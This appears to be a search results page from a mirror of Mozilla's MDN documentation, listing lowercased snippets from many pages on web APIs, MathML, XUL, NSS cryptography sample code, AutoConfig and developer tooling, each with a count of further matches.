...="block"> <!-- <mrow> <msub><mi></mi><mn>2</mn></msub> <msub><mi>f</mi><mn>3</mn></msub> </mrow> --> <mrow> <mmultiscripts> <mi>f</mi> <mn>3</mn><none/> <mprescripts/> <mn>2</mn><none/> </mmultiscripts> </mrow> </math> </td></tr> <tr> <td>3</td> <td><img src="https://udn.realityripple.com/samples/8a/1d0e6e073c.png" width="58" height="47" alt="texbook, 17-17.1" /></td> <td> <math display="block"> <mrow> <mfrac> <mrow> <mi>x</mi> <mo>+</mo> <msup> <mi>y</mi> <mn>2</mn> </msup> </mrow>...
...And 128 more matches
Index - Web APIs
WebAPIIndex
a new promise is created every time the animation enters the "pending" play state as well as when the animation is canceled, since in both of those scenarios, the animation is ready to be started again.
...for an "animationstart" event, elapsedtime is 0.0 unless there was a negative value for animation-delay, in which case the event will be fired with elapsedtime containing (-1 * delay).
... 90 animationevent.initanimationevent() api, animationevent, cssom, method, obsolete, web animations the animationevent.initanimationevent() method initializes an animation event created using the deprecated document.createevent("animationevent") method.
...And 106 more matches
Creating localizable web applications
bad: <html lang="en"> snippet 2.
... good: css: html[dir='rtl'] foo { /* rtl-specific rules for the foo element */ } body.rtl foo { /* rtl-specific rules for the foo element */ } html/php: <?php function isrtl($locale) { $rtl_locales = array('ar', 'fa', 'he'); return in_array($locale, $rtl_locales); } ?> <html lang="<?= $locale?>" dir="<?= isrtl($locale) ?
... 'rtl' : 'ltr' ?>" > <body class="<?= $locale?> <?= isrtl($locale) ?
...And 98 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
situation int-evry manages about 3000 users (mostly students) who share computers in labs and "self service" computer rooms.
...for mozilla 1.x.x, firefox, thunderbird or netscape 7 it is still a javascript file, the byte-shift is 13 by default, but can be removed using the pref("general.config.obscure_value", 0); preference in any appropriate .js file dedicated to autoconfig (here autoconf.js).
... the name of the file can be anything you want because it is named by a general.config preference that should be added at the end of file mozilla_home/default/pref/autoconf.js or mozilla_home/greprefs/autoconf.js: pref("general.config.filename", "mozilla.cfg");.
...And 85 more matches
Mozilla's DOCTYPE sniffing - Archive of obsolete content
any "doctype html system" as opposed to "doctype html public", except for the ibm doctype noted below a doctype declaration without a dtd, i.e., <!doctype html>.
... any unknown doctype, which should include the following (technically known) doctypes: the public identifier "-//w3c//dtd html 4.01//en".
... the public identifier "-//w3c//dtd html 4.0//en".
...And 85 more matches
Using IndexedDB - Web APIs
window.indexeddb = window.indexeddb || window.mozindexeddb || window.webkitindexeddb || window.msindexeddb; // don't use "var indexeddb = ..." if you're not in a function.
... // moreover, you may need references to some window.idb* objects: window.idbtransaction = window.idbtransaction || window.webkitidbtransaction || window.msidbtransaction || {read_write: "readwrite"}; // this line should only be needed if it is needed to support the object's constants for older browsers window.idbkeyrange = window.idbkeyrange || window.webkitidbkeyrange || window.msidbkeyrange; // (mozilla has never prefixed these objects, so we don't need window.mozidb*) beware that implementations that use a prefix may be buggy, or incomplete, or following an old version of the specification.
...it may be preferable to not support a browser than to claim to support it and fail: if (!window.indexeddb) { console.log("your browser doesn't support a stable version of indexeddb.
...And 81 more matches
Parser API
example: > var expr = reflect.parse("obj.foo + 42").body[0].expression > expr.left.property ({loc:null, type:"identifier", name:"foo"}) > expr.right ({loc:{source:null, start:{line:1, column:10}, end:{line:1, column:12}}, type:"literal", value:42}) it is also available since firefox 7; it can be imported into the global object via: components.utils.import("resource://gre/modules/reflect.jsm") or into a specified object via: com...
...ponents.utils.import("resource://gre/modules/reflect.jsm", obj) built-in objects whether in spidermonkey shell or firefox (after importing), the global singleton object reflect currently contains just the parse method.
...d an end position (the position of the first character after the parsed source region): interface sourcelocation { source: string | null; start: position; end: position; } each position object consists of a line number (1-indexed) and a column number (0-indexed): interface position { line: uint32 >= 1; column: uint32 >= 0; } programs interface program <: node { type: "program"; body: [ statement ]; } a complete program source tree.
...And 78 more matches
jspage - Archive of obsolete content
var mootools={version:"1.2.4",build:"0d9113241a90b9cd5643b926795852a2026710d4"};var native=function(k){k=k||{};var a=k.name;var i=k.legacy;var b=k.protect; var c=k.implement;var h=k.generics;var f=k.initialize;var g=k.afterimplement||function(){};var d=f||i;h=h!==false;d.constructor=native;d.$family={name:"native"}; if(i&&f){d.prototype=i.prototype;}d.prototype.constructor=d;if(a){var e=a.tolowercase();d.prototype.$family={name:e};native.typize(d,e);}var j=function(n,l,o,m){if(!b||m||!n.prototype[l]){n.prototype[l]=o; }if(h){native.genericize(n,l,b);}g.call(n,l,o);return n;};d.alias=function(n,l,p){if(typeof n=="string"){var o=this.prototype[n];if((n=o)){return j(this,l,n,p); }}for(var m in n){this.alias(m,n[m],l);}return this;};d.implement=function(m,l,o){if(typeof m=="string"){ret...
...urn j(this,m,l,o);}for(var n in m){j(this,n,m[n],l); }return this;};if(c){d.implement(c);}return d;};native.genericize=function(b,c,a){if((!a||!b[c])&&typeof b.prototype[c]=="function"){b[c]=function(){var d=array.prototype.slice.call(arguments); return b.prototype[c].apply(d.shift(),d);};}};native.implement=function(d,c){for(var b=0,a=d.length;b<a;b++){d[b].implement(c);}};native.typize=function(a,b){if(!a.type){a.type=function(c){return($type(c)===b); };}};(function(){var a={array:array,date:date,function:function,number:number,regexp:regexp,string:string};for(var h in a){new native({name:h,initialize:a[h],protect:true}); }var d={"boolean":boolean,"native":native,object:object};for(var c in d){native.typize(d[c],c);}var f={array:["concat","indexof","join","lastindexof","pop","push","rever...
...se","shift","slice","sort","splice","tostring","unshift","valueof"],string:["charat","charcodeat","concat","indexof","lastindexof","match","replace","search","slice","split","substr","substring","tolowercase","touppercase","valueof"]}; for(var e in f){for(var b=f[e].length;b--;){native.genericize(a[e],f[e][b],true);}}})();var hash=new native({name:"hash",initialize:function(a){if($type(a)=="hash"){a=$unlink(a.getclean()); }for(var b in a){this[b]=a[b];}return this;}});hash.implement({foreach:function(b,c){for(var a in this){if(this.hasownproperty(a)){b.call(c,this[a],a,this); }}},getclean:function(){var b={};for(var a in this){if(this.hasownproperty(a)){b[a]=this[a];}}return b;},getlength:function(){var b=0;for(var a in this){if(this.hasownproperty(a)){b++; }}return b;}});hash.alias("foreac...
...And 77 more matches
Index - Archive of obsolete content
or for "reasons," your company is required to use very old software and you need to build web content that runs on that software.
... 15 communicating using "port" to enable add-on scripts and content scripts to communicate with each other, each end of the conversation has access to a port object.
... 16 communicating using "postmessage" add-on sdk no summary!
...And 76 more matches
Editor Embedding Guide - Archive of obsolete content
nscomptr<nsieditingsession> editingsession; nsiwebbrowser->do_getinterface(getter_addrefs(editingsession)); if (editingsession) editingsession->makewindoweditable(domwindow, "html", pr_true); the valid editor types are: "text" (similar to notepad or a textarea; does not allow for html) "textmail" (similar to "text" but html can be inserted; intended for plaintext mail usage and handling of citations) "html" (this is the default type if no type is specified; it allows for all html tags to be inserted) "htmlmail" (this is much like "html" except there are a few ed...
... getcommandstate "state_all"(boolean), "state_begin"(boolean), "state_end"(boolean), "state_mixed"(boolean), "state_enabled" (boolean) docommand no parameters example normal bold cmd_italics toggles italics style on selection.
... getcommandstate "state_all"(boolean), "state_begin"(boolean), "state_end"(boolean), "state_mixed"(boolean), "state_enabled" (boolean) docommand no parameters example normal italics cmd_underline toggles underline on selection.
...And 71 more matches
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
*/ /* nspr headers */ #include <prthread.h> #include <plgetopt.h> #include <prerror.h> #include <prinit.h> #include <prlog.h> #include <prtypes.h> #include <plstr.h> /* nss headers */ #include <keyhi.h> #include <pk11priv.h> /* our samples utilities */ #include "util.h" /* constants */ #define blocksize 32 #define modblocksize 128 #define default_key_bits 1024 /* header file constants */ #define enckey_header "-----begin wrapped enckey-----" #define enckey_trailer "-----end wrapped enckey-----" #define mackey_header "-----begin wrapped mackey-----" #define mackey_trailer "-----end wrapped ma...
...ckey-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" #define lab_header "-----begin key label-----" #define lab_trailer "-----end key label-----" #define pubkey_header "-----begin pub key -----" #define pubkey_trailer "-----end pub key -----" #define ns_certreq_header "-----begin new certificate request-----" #define ns_certreq_trailer "-----end new certificate request-----" #define ns_cert_enc_header "-----begin certificate for encryption-----" #define ns_cert_enc_trailer ...
... "-----end certificate for encryption-----" #define ns_cert_vfy_header "-----begin certificate for signature verification-----" #define ns_cert_vfy_trailer "-----end certificate for signature verification-----" #define ns_sig_header "-----begin signature-----" #define ns_sig_trailer "-----end signature-----" #define ns_cert_header "-----begin certificate-----" #define ns_cert_trailer "-----end certificate-----" /* sample 6 commands */ typedef enum { generate_csr, add_cert_to_db, save_cert_to_header, encrypt, decrypt, sign, verify, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4, pubkey = 5, lab = 6, certenc= 7, certvfy= 8,...
...And 67 more matches
The HTML autocomplete attribute - HTML: Hypertext Markup Language
in order to provide autocompletion, user-agents might require <input>/<select>/<textarea> elements to: have a name and/or id attribute be descendants of a <form> element the form to have a submit button values "off" the browser is not permitted to automatically enter or select a value for this field.
... note: in most modern browsers, setting autocomplete to "off" will not prevent a password manager from asking the user if they would like to save username and password information, or from automatically filling in those values in a site's login form.
... "on" the browser is allowed to automatically complete the input.
...And 66 more matches
Eclipse CDT
download "eclipse ide for c/c++ developers" (not eclipse ide for enterprise java developers) from the eclipse download page, install it, and add the directory containing the eclipse binary to your path (/applications/eclipse.app/contents/eclipse/ on mac).
...set an initial heap space of 1 gb and max heap space of 5 gb, say, by modifying the values of the following two lines in eclipse.ini: -xms1g -xmx5g if you fail to increase these limits, then you will likely find that eclipse either hangs when it tries to index the mozilla source or else that the code intelligence is very broken after the indexing "completes".
... since the compiler options used to build the source change relatively infrequently, the "build" step above doesn't need to be rerun all that often.
...And 64 more matches
Eclipse CDT Manual Setup
to be able to provide really good code assistance for a project's source code, ides like eclipse need to carry out a thorough static analysis of the project's source files, to build up a picture of the code (what eclipse is trying to do when it "indexes" the source.) static analysis involves parsing the source files, so naturally it can only produce good results if it has a sensible set of preprocessor defines, include paths and pre-include files for each source file.
...this process is sometimes called "build option discovery" or "compiler option discovery".
...the build must be explicitly instructed to output information that allows the directory, where the compiler is being invoked from to be identified (i.e., 'make' must be instructed to output "entering directory..."/"leaving directory..." lines).
...And 62 more matches
Localizing with Koala
for the purposes of this tutorial, the locale code that we will use will be called "x-testing".
... in a real-life situation, that would become for example "de" (for german) or "es-es" (for spanish in spain).
... translating to x-testing will basically consist of converting any strings to uppercase, for example "file" in original version (en-us) will become "file" in x-testing.
...And 61 more matches
Box-shadow generator - CSS: Cascading Style Sheets
box-shadow generator html content <div id="container"> <div class="group section"> <div id="layer_manager"> <div class="group section"> <div class="button" data-type="add"> </div> <div class="button" data-type="move-up"> </div> <div class="button" data-type="move-down"> </div> </div> <div id="stack_container"></div> </div> <div id="preview_zone"> <div id="layer_menu" class="col span_12"> <div class="button" id="element" data-type="subject" data-title="element"> element </div> <div class="button" id="before" data-type="subject"...
... data-title=":before"> :before <span class="delete" data-type="disable"></span> </div> <div class="button" id="after" data-type="subject" data-title=":after"> :after <span class="delete" data-type="disable"></span> </div> <div class="ui-checkbox" data-topic='before' data-label=":before"></div> <div class="ui-checkbox" data-topic='after' data-label=":after"></div> </div> <div id="preview"> <div id="obj-element"> <div class="content"> </div> <div id="obj-before"> </div> <div id="obj-after"> </div> </div> </di...
...v> </div> </div> <div id="controls" class="group section"> <div class="wrap-left"> <div class="colorpicker category"> <div class="title"> </div> <div id="colorpicker" class="group"> <div id="gradient" class="gradient"> <div id="gradient_picker"> </div> </div> <div id="hue" data-topic="hue" class="hue"> <div id="hue_selector"> </div> </div> <div class="info"> <div class="input" data-topic="hue" data-title='h:' data-action="hsv"></div> <div class="input" data-topic="saturation" data-title='s:' data-action="hsv"></div> ...
...And 61 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
window.opendialog('another.xul', '_blank','chrome,all,dialog=no'); listing 1: opening a window without the firefox gui xul as an xml application listing 2 shows an example of a gui definition file marked up in xul (a "xul document").
... the root element in xul is generally the "window" element.
... <?xml version="1.0" encoding="utf-8"?> <?xml-stylesheet href="chrome://global/skin/"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <!-- contents go here.
...And 60 more matches
sslfnc.html
syntax #include "nss.h" secstatus nss_init(char *configdir); parameter this function has the following parameter: configdir a pointer to a string containing the pathname of the directory where the certificate, key, and security module databases reside.
... syntax #include "nss.h" secstatus nss_initreadwrite(char *configdir); parameter this function has the following parameter: configdir a pointer to a string containing the pathname of the directory where the certificate, key, and security module databases reside.
... syntax #include "nss.h" secstatus nss_nodb_init(char *reserved); parameter this function has the following parameter: reserved should be null..
...And 60 more matches
sslerr.html
ssl error codes sec error codes ssl error codes table 8.1 error codes defined in sslerr.h constant value description ssl_error_export_only_server -12288 "unable to communicate securely.
... peer does not support high-grade encryption." the local system was configured to support the cipher suites permitted for domestic use.
... ssl_error_us_only_server -12287 "unable to communicate securely.
...And 59 more matches
Regular expression syntax cheatsheet - JavaScript
for example, /.y/ matches "my" and "ay", but not "yes", in "yes make my day".
... es2018 added the s "dotall" flag, which allows the dot to also match line terminators.
...for example, /\d/ or /[0-9]/ matches "2" in "b2 is the suite number".
...And 59 more matches
sample2
nclude <plgetopt.h> #include <prerror.h> #include <prinit.h> #include <prlog.h> #include <prtypes.h> #include <plstr.h> /* nss headers */ #include <cryptohi.h> #include <keyhi.h> #include <pk11priv.h> #include <cert.h> #include <base64.h> #include <secerr.h> #include <secport.h> #include <secoid.h> #include <secmodt.h> #include <secoidt.h> #include <sechash.h> /* our samples utilities */ #include "util.h" /* constants */ #define blocksize 32 #define modblocksize 128 #define default_key_bits 1024 /* header file constants */ #define enckey_header "-----begin wrapped enckey-----" #define enckey_trailer "-----end wrapped enckey-----" #define mackey_header "-----begin wrapped mackey-----" #define mackey_trailer "-----end wrapped mackey-----" #define iv_header "-----begin iv-----" #define iv_trai...
...ler "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" #define lab_header "-----begin key label-----" #define lab_trailer "-----end key label-----" #define pubkey_header "-----begin pub key -----" #define pubkey_trailer "-----end pub key -----" #define ns_certreq_header "-----begin new certificate request-----" #define ns_certreq_trailer "-----end new certificate request-----" #define ns_cert_enc_header "-----begin certificate for encryption-----" #define ns_cert_enc_trailer "-----end certificate for encryption-----" #define ns_cert_vfy_header "-----begin certificate for signature verification-----" #define ns_cert_vfy_trailer "-----end certificate for signature ...
...verification-----" #define ns_sig_header "-----begin signature-----" #define ns_sig_trailer "-----end signature-----" #define ns_cert_header "-----begin certificate-----" #define ns_cert_trailer "-----end certificate-----" /* missing publically from nss versions earlier than 3.13 */ #ifndef sec_error_base #define sec_error_base (-0x2000) typedef enum { sec_error_io = sec_error_base + 0, sec_error_token_not_logged_in = (sec_error_base + 155), sec_error_end_of_list } secerrorcodes; #endif /* port_errortostring introduced in nss 3.13.
...And 57 more matches
JXON - Archive of obsolete content
conversion snippets now imagine you have this sample xml document: example.xml <?xml version="1.0"?> <!doctype catalog system "catalog.dtd"> <catalog> <product description="cardigan sweater"> <catalog_item gender="men's"> <item_number>qwz5671</item_number> <price>39.95</price> <size description="medium"> <color_swatch image="red_cardigan.jpg">red</color_swatch> <color_swatch image="burgundy_cardigan.jpg">burgundy</color_swatch> </size> <size desc...
...ription="large"> <color_swatch image="red_cardigan.jpg">red</color_swatch> <color_swatch image="burgundy_cardigan.jpg">burgundy</color_swatch> </size> </catalog_item> <catalog_item gender="women's"> <item_number>rrx9856</item_number> <discount_until>dec 25, 1995</discount_until> <price>42.50</price> <size description="medium"> <color_swatch image="black_cardigan.jpg">black</color_swatch> </size> </catalog_item> </product> <script type="text/javascript"><![cdata[function matchwo(a,b) { if (a < b && a < 0) { return 1; } else { return 0; } }]]></script> </catalog> first, create a dom tree like the previous example as described in the how to create a dom tree article.
...|*| http://www.gnu.org/licenses/gpl-3.0-standalone.html |*| \*/ function parsetext (svalue) { if (/^\s*$/.test(svalue)) { return null; } if (/^(?:true|false)$/i.test(svalue)) { return svalue.tolowercase() === "true"; } if (isfinite(svalue)) { return parsefloat(svalue); } if (isfinite(date.parse(svalue))) { return new date(svalue); } return svalue; } function jxontree (oxmlparent) { var nattrlen = 0, nlength = 0, scollectedtxt = ""; if (oxmlparent.haschildnodes()) { for (var onode, sprop, vcontent, nitem = 0; nitem < oxmlparent.childnodes.length; nitem++) { onode = oxmlparent.childno...
...And 55 more matches
StringView - Archive of obsolete content
the code stringview.js "use strict"; /*\ |*| |*| :: number.isinteger() polyfill :: |*| |*| /docs/web/javascript/reference/global_objects/number/isinteger |*| \*/ if (!number.isinteger) { number.isinteger = function isinteger (nval) { return typeof nval === "number" && isfinite(nval) && nval > -9007199254740992 && nval < 9007199254740992 && math.floor(nval) === nval; }; } /*\ |*| |*| stringview mdndeveloper ...
...noffset : 0, ntranscrtype = 15; if (sencoding) { this.encoding = sencoding.tostring(); } encswitch: switch (this.encoding) { case "utf-8": fputoutptcode = stringview.pututf8charcode; fgetoutptchrsize = stringview.getutf8charlength; ftaview = uint8array; break encswitch; case "utf-16": fputoutptcode = stringview.pututf16charcode; fgetoutptchrsize = stringview.getutf16charlength; ftaview = uint16array; break encswitch; case "utf-32": ftaview = uint32array; ntra...
...nscrtype &= 14; break encswitch; default: /* case "ascii", or case "binarystring" or unknown cases */ ftaview = uint8array; ntranscrtype &= 14; } typeswitch: switch (typeof vinput) { case "string": /* the input argument is a primitive string: a new buffer will be created.
...And 52 more matches
Web Accessibility: Understanding Colors and Luminance - Accessibility
when speaking of color contrast, w3c formulas are actually incorporating luminance, not just the colors ("hues") themselves.
..."luminance" and "saturation" are particularly important to get right.
... for example, "saturation" is known as "chroma" in some circles.
...And 52 more matches
Enc Dec MAC Output Public Key as CSR
*/ /* nspr headers */ #include #include #include #include #include #include #include /* nss headers */ #include #include #include #include #include #include #include #include #include #include #include #include /* our samples utilities */ #include "util.h" #define buffersize 80 #define digestsize 16 #define ptext_mac_buffer_size 96 #define ciphersize 96 #define blocksize 32 #define default_key_bits 1024 #define cipher_header "-----begin cipher-----" #define cipher_trailer "-----end cipher-----" #define enckey_header "-----begin wrapped enckey-----" #define enckey_tra...
...iler "-----end wrapped enckey-----" #define mackey_header "-----begin wrapped mackey-----" #define mackey_trailer "-----end wrapped mackey-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" #define lab_header "-----begin key label-----" #define lab_trailer "-----end key label-----" #define pubkey_header "-----begin pub key -----" #define pubkey_trailer "-----end pub key -----" #define ns_certreq_header "-----begin new certificate request-----" #define ns_certreq_trailer "-...
...----end new certificate request-----" typedef enum { gen_csr, encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4, pubkey = 5, lab = 6 } headertype; /* this is conditionalized because port_errortostring was introduced with nss 3.13.
...And 51 more matches
RDF in Mozilla FAQ - Archive of obsolete content
second, and more importantly, the rdf model is used along with xul templates as an abstract "api" for displaying information.
... where do i find information on open directory ("dmoz")?
... rdf can generally be viewed in two ways: either as a graph with nodes and arcs, or as a "soup" of logical statements.
...And 49 more matches
Index
MozillaTechXPCOMIndex
if the component uses only "frozen" xpcom interfaces, there is a good chance the same binary component will work with different versions of gecko (version 1.8 and 1.9, for example).
... the more likely case is that the component uses "unfrozen" interfaces and those interfaces can change between gecko versions.
... 42 components.utils.isxraywrapper when privileged javascript in gecko accesses objects belonging to less-privileged code (such as untrusted web content), it does so, by default, with "xray vision": a mechanism that filters out certain changes to the objects that could cause them to behave in unexpected ways.
...And 47 more matches
Using XMLHttpRequest - Web APIs
function reqlistener () { console.log(this.responsetext); } var oreq = new xmlhttprequest(); oreq.addeventlistener("load", reqlistener); oreq.open("get", "http://www.example.org/example.txt"); oreq.send(); types of requests a request made via xmlhttprequest can fetch the data in one of two ways, asynchronously or synchronously.
...it starts with "xml" because when it was created the main format that was originally used for asynchronous data exchange were xml handling responses there are several types of response attributes defined by the living standard specification for the xmlhttprequest() constructor.
...however, this method is a "last resort" since if the xml code changes slightly, the method will likely fail.
...And 46 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
3 502 502, bad gateway, glossary, http errors, infrastructure, navigation an http error code meaning "bad gateway".
... 34 block (scripting) codingscripting, glossary, javascript in javascript, a block is a collection of related statements enclosed in braces ("{}").
... 35 block cipher mode of operation block cipher mode of operation, cryptography, glossary, security a block cipher mode of operation, usually just called a "mode" in context, specifies how a block cipher should be used to encrypt or decrypt messages that are longer than the block size.
...And 44 more matches
ARIA Test Cases - Accessibility
or copy-paste: http://oaa-accessibility.org/examples/ for each example we test the "expected" results with assistive technologies, for each browser that at supports wai-aria in.
...still, dojo's widgets implement aria, and the noted test files could be used as an "aria test file".
...for example, "options, button, alt+shift+t" should be spoken if there is an options button in the alert with alt+shift+t as an accesskey.
...And 44 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
var elm; if (ns4) elm = document.layers["myid"]; else if (ie4) elm = document.all["myid"] the above code isn't extensible, so if you want it to support a new browser, you must update these blocks throughout the web application.
...not only does this make the code easier to read, it simplifies adding support for new clients: var elm = getelmbyid("myid"); function getelmbyid(aid){ var element = null; if (ismozilla || isie5) element = document.getelementbyid(aid); else if (isnetscape4) element = document.layers[aid]; else if (isie4) element = document.all[aid]; return element; } the above code still has the issue of browser sniffing, or detecting which browser the user is using.
...to get an array of all elements in the dom tree, you can use getelementsbytagname("*").
...And 42 more matches
Encrypt Decrypt_MAC_Using Token
*/ /* nspr headers */ #include #include #include #include #include #include #include /* nss headers */ #include #include /* our samples utilities */ #include "util.h" #define buffersize 80 #define digestsize 16 #define ptext_mac_buffer_size 96 #define ciphersize 96 #define blocksize 32 #define cipher_header "-----begin cipher-----" #define cipher_trailer "-----end cipher-----" #define enckey_header "-----begin aeskey ckaid-----" #define enckey_trailer "-----end aeskey ckaid----...
...-" #define mackey_header "-----begin mackey ckaid-----" #define mackey_trailer "-----end mackey ckaid-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit.
... */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); fprintf(stderr, "%-20s specify 'b' for decrypt operation\n\n", " "); fprintf(stderr, "%-20s specify db directory path\n\n", "-d "); fprintf(stderr, "%-20s specify db password [optional]\n\n", "-p "); fprintf(stderr, "%-20s specify db password file [optional]\n\n", "-f "); fprintf(stderr, "%-20s specify noise file name [optional]\n\n", "-z "); fprintf(stderr, "%-21s specify an input file name\n\n", "-i "); fprintf(stderr, "%-21s specify an...
...And 41 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
WebHTMLElementinput
<input type="button" name="button" /> checkbox a check box allowing single values to be selected/deselected.
... <input type="checkbox" name="checkbox"/> color a control for specifying a color; opening a color picker when active in supporting browsers.
... <input type="color" name="color"/> html5 date a control for entering a date (year, month, and day, with no time).
...And 41 more matches
File I/O - Archive of obsolete content
creating an nsifile object components.utils.import("resource://gre/modules/fileutils.jsm"); var file = new fileutils.file("/home"); or the same without using fileutils.jsm: var file = components.classes["@mozilla.org/file/local;1"].
... createinstance(components.interfaces.nsilocalfile); file.initwithpath("/home"); note: the path should be in the "native" form (for example"c:\\windows").
... getting files in special directories components.utils.import("resource://gre/modules/fileutils.jsm"); // get the "data.txt" file in the profile directory var file = fileutils.getfile("profd", ["data.txt"]); or the same without using fileutils.jsm: // get profile directory.
...And 40 more matches
DMD
dmd (short for "dark matter detector") is a heap profiler within firefox.
... "dark matter" mode.
...it helps us reduce the "heap-unclassified" value in firefox's about:memory page, and also detects if any heap blocks are reported twice.
...And 38 more matches
Signaling and video calling - Web APIs
this involves a change near the end of the "connection" message handler: if (sendtoclients) { var msgstring = json.stringify(msg); var i; if (msg.target && msg.target !== undefined && msg.target.length !== 0) { sendtooneuser(msg.target, msgstring); } else { for (i=0; i<connectionarray.length; i++) { connectionarray[i].send(msgstring); } } } this code now looks at the pending message to see if it has a target p...
...our signaling server will use websocket to transmit offer messages with the type "video-offer", and answer messages with the type "video-answer".
... these messages have the following fields: type the message type; either "video-offer" or "video-answer".
...And 38 more matches
XUL controls - Archive of obsolete content
<button label="save" accesskey="s"/> more information about the button element.
... button reference <button type="menu"> a button that has a drop down menu attached to it.
... <button type="menu" label="view"> <menupopup> <menuitem label="list"/> <menuitem label="details"/> </menupopup> </button> more information about this type of menu button element.
...And 37 more matches
NSS Sample Code Sample_3_Basic Encryption and MACing
sample code 3 /* nspr headers */ #include <prthread.h> #include <plgetopt.h> #include <prerror.h> #include <prinit.h> #include <prlog.h> #include <prtypes.h> #include <plstr.h> /* nss headers */ #include <keyhi.h> #include <pk11priv.h> /* our samples utilities */ #include "util.h" #define buffersize 80 #define digestsize 16 #define ptext_mac_buffer_size 96 #define ciphersize 96 #define blocksize 32 #define cipher_header "-----begin cipher-----" #define cipher_trailer "-----end cipher-----" #define enckey_header "-----begin aeskey ckaid-----" #define enckey_trailer "-----end aeskey ckaid-----...
..." #define mackey_header "-----begin mackey ckaid-----" #define mackey_trailer "-----end mackey ckaid-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* print a usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c <a|b> -d <dbdirpath> [-z <noisefilename>] " "[-p <dbpwd> | -f <dbpwdfile...
...>] -i <ipfilename> -o <opfilename>\n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c <a|b>"); fprintf(stderr, "%-20s specify 'b' for decrypt operation\n\n", " "); fprintf(stderr, "%-20s specify db directory path\n\n", "-d <dbdirpath>"); fprintf(stderr, "%-20s specify db password [optional]\n\n", "-p <dbpwd>"); fprintf(stderr, "%-20s specify db password file [optional]\n\n", "-f <dbpwdfile>"); fprintf(stderr, "%-20s specify noise file name [optional]\n\n", "-z <noisefilename>"); fprintf(stderr, "%-21s specify an input file name\n\n", "-i <ipfilename>"); fprintf(stderr, "%-21s specify an output file name\n\n", ...
...And 36 more matches
ui/button/toggle - Archive of obsolete content
when a button is checked it gets a "pressed" look in the user interface (note that the "pressed" look currently does not work in mac os x).
... usage creating buttons to create a button you must give it an id, an icon, and a label: var { togglebutton } = require("sdk/ui/button/toggle"); var button = togglebutton({ id: "my-button", label: "my button", icon: { "16": "./firefox-16.png", "32": "./firefox-32.png" }, onchange: function(state) { console.log(state.label + " checked state: " + state.checked); } }); by default, the button appears in the firefox toolbar: however, users can move it to the firefox menu panel: badged buttons new in firefox 36.
... you can add a "badge" to a button using its badge property.
...And 35 more matches
source-editor.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource:///modules/source-editor.jsm"); warning: much of the functionality of the source editor is implemented by a secondary code module (by default, source-editor-orion.jsm).
...in addition, when this value changes, the "dirtychanged" event is sent.
... constant value description sourceeditor.prefs.component "devtools.editor.component" a string indicating the name of the source editor engine to use; this is "orion" by default.
...And 35 more matches
Encrypt Decrypt MAC Keys As Session Objects
*/ /* nspr headers */ #include #include #include #include #include #include #include /* nss headers */ #include #include /* our samples utilities */ #include "util.h" #define buffersize 80 #define digestsize 16 #define ptext_mac_buffer_size 96 #define ciphersize 96 #define blocksize 32 #define cipher_header "-----begin cipher-----" #define cipher_trailer "-----end cipher-----" #define enckey_header "-----begin aeskey ckaid-----" #define enckey_trailer "-----end aeskey ckaid----...
...-" #define mackey_header "-----begin mackey ckaid-----" #define mackey_trailer "-----end mackey ckaid-----" #define iv_header "-----begin iv-----" #define iv_trailer "-----end iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fp...
...rintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); fprintf(stderr, "%-20s specify 'b' for decrypt operation\n\n", " "); fprintf(stderr, "%-20s specify db directory path\n\n", "-d "); fprintf(stderr, "%-20s specify db password [optional]\n\n", "-p "); fprintf(stderr, "%-20s specify db password file [optional]\n\n", "-f "); fprintf(stderr, "%-20s specify noise file name [optional]\n\n", "-z "); fprintf(stderr, "%-21s specify an input file name\n\n", "-i "); fprintf(stderr, "%-21s specify an output file name\n\n", "-o "); fprintf(stderr, "%-7s for encrypt, it takes as an input file and produces\n", "note :"); fprintf(s...
...And 35 more matches
Encrypt and decrypt MAC using token
